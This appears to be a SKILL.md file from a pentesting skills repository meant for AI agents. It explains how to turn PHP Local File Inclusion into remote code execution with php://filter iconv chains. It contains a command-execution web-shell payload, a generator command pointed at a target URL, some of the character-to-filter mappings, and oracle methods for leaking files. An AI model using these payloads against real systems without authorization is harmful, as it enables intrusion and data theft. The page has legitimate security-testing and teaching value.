Hacktricks-skills lfi2rce-php-filters
Exploit Local File Inclusion (LFI) vulnerabilities in PHP applications using filter chains to achieve Remote Code Execution (RCE). Use this skill whenever the user mentions LFI, file inclusion, PHP filters, php://filter, or wants to exploit PHP vulnerabilities to read files or execute code. Also trigger for requests about php://temp, iconv filters, base64 encoding tricks, or PHP filter chain generation.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/file-inclusion/lfi2rce-via-php-filters/SKILL.MDLFI2RCE via PHP Filters
Overview
This skill helps you exploit Local File Inclusion (LFI) vulnerabilities in PHP applications by using PHP filter chains to generate arbitrary code without writing to disk. The technique uses
convert.iconv and convert.base64 filters to construct payloads that execute when included.
Core Concept
PHP filters can generate arbitrary content as output. By chaining filters, you can:
- Prepend
to a string using\x1b$)Cconvert.iconv.UTF8.CSISO2022KR - Apply iconv conversions that preserve your base64 while converting the prepended bytes
- Base64 decode/encode to remove garbage characters
- Repeat until you've constructed your full base64-encoded PHP payload
- Final decode to get executable PHP code
Key Filters
- Always prependsconvert.iconv.UTF8.CSISO2022KR\x1b$)C
- Tolerant, ignores invalid base64 charsconvert.base64-decode
- Removesconvert.iconv.UTF8.UTF7
characters that break base64=
Resource Selection
Use
as the resource because:php://temp
- It accepts any appended extension (e.g.,
).php - No file write required
- Works even when includes append
automatically.php
Safety Warning
AUTHORIZED USE ONLY: This skill is for security testing on systems you own or have explicit permission to test. Unauthorized exploitation is illegal and unethical.
Quick Start
Basic Exploit Structure
// Target vulnerable include php://filter/[FILTER_CHAIN]/resource=php://temp
Common Payloads
| Goal | Base64 Payload |
|---|---|
| Execute command | (<?=`$_GET[0]`;;?>) |
| Read file | |
| Display info | |
Using the Filter Chain Generator
Method 1: Use the bundled script
python scripts/generate_filter_chain.py --payload "<?=`$_GET[0]`;;?>" --target "http://example.com/vuln.php"
Method 2: Manual construction
- Base64 encode your PHP payload
- For each character in the base64 string (reversed):
- Look up the conversion chain for that character
- Add
to cleanconvert.base64-decode|convert.base64-encode - Add
to removeconvert.iconv.UTF8.UTF7
signs=
- Final
to get PHP codeconvert.base64-decode
Character Conversion Mappings
The script includes mappings for all 64 base64 characters. Key examples:
conversions = { 'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C': 'convert.iconv.UTF8.CSISO2022KR', '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', # ... (full mappings in script) }
Advanced Techniques
Error-Based Oracles
When output is suppressed, use memory bombs to create 1-bit oracles:
- Chain memory-intensive filters (e.g.,
×12)convert.iconv.UTF8.UCS-4LE - Add
filterdechunk - First leaked base64 digit controls outcome:
- Hexadecimal → payload collapses silently
- Non-hex → PHP exhausts memory, throws error
- Query repeatedly while rotating base64 digits to front
- Read files byte-by-byte even with no output
Lightyear Digit-Set Jumps
For large file dumps via GET parameters:
- Build alternative base64 digit sets via iconv sequences
- Turn chosen digits into newlines
- Prepend hex char, run
to jump chunksdechunk - Use six-query dichotomy tree to halve candidate sets
- Dump files without triggering PHP warnings
Testing Checklist
Before exploiting:
- Confirm LFI vulnerability exists
- Verify PHP version (filter chains work on PHP 5.x-7.x)
- Check if
is accessiblephp://temp - Test with simple filter first:
php://filter/convert.base64-encode/resource=php://temp - Verify no WAF blocks filter syntax
- Confirm you have authorization
Common Issues
| Problem | Solution |
|---|---|
characters break payload | Add after each base64 encode |
Include appends | Use as resource |
| Output suppressed | Use error-based oracle technique |
| Filter chain too long | Use Lightyear chunk pruning |
| WAF blocks filters | Try URL encoding or alternative syntax |
References
Next Steps
- Run the filter chain generator script to create your payload
- Test against the vulnerable endpoint
- If output is suppressed, try error-based oracle technique
- For large files, use Lightyear digit-set jumps
- Document findings for your security report